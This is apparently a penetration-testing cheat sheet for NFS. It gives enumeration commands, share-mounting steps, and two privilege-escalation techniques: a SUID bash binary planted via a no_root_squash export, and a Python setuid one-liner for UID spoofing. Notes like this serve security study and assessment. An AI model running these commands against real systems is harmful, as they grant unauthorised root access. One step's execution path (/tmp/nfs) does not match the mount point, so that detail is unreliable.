NFS

NFS (Network File System) runs on port 2049 and allows remote filesystem mounting over the network. Common on Linux/Unix environments. Access control is defined in /etc/exports on the server.

Enumeration

Nmap

nmap -sV -p 111,2049 $IP
nmap -p 111,2049 --script nfs-* $IP

Key scripts:

• nfs-showmount: lists exported shares
• nfs-ls: lists files in shares
• nfs-statfs: retrieves disk stats

List shares

showmount -e $IP
rpcinfo -p $IP

Mount

mkdir /mnt/nfs
mount -t nfs $IP:/share /mnt/nfs
mount -t nfs -o vers=2 $IP:/share /mnt/nfs    # force NFSv2
umount /mnt/nfs

Privilege Escalation

no_root_squash

If the share is exported with no_root_squash, the remote root user keeps root privileges on the share.

Check /etc/exports on the server (if readable):

cat /etc/exports

Look for:

/share *(rw,no_root_squash)

If present, copy a SUID binary onto the share as root from your attacker machine:

cp /bin/bash /mnt/nfs/bash
chmod +s /mnt/nfs/bash

Then execute it on the target with -p to keep the SUID effective UID:

/tmp/nfs/bash -p

UID spoofing

NFS authenticates by UID. If you know a file is owned by UID 1001 on the server, impersonate it directly:

python3 -c "import os; os.setuid(1001); os.system('/bin/bash')"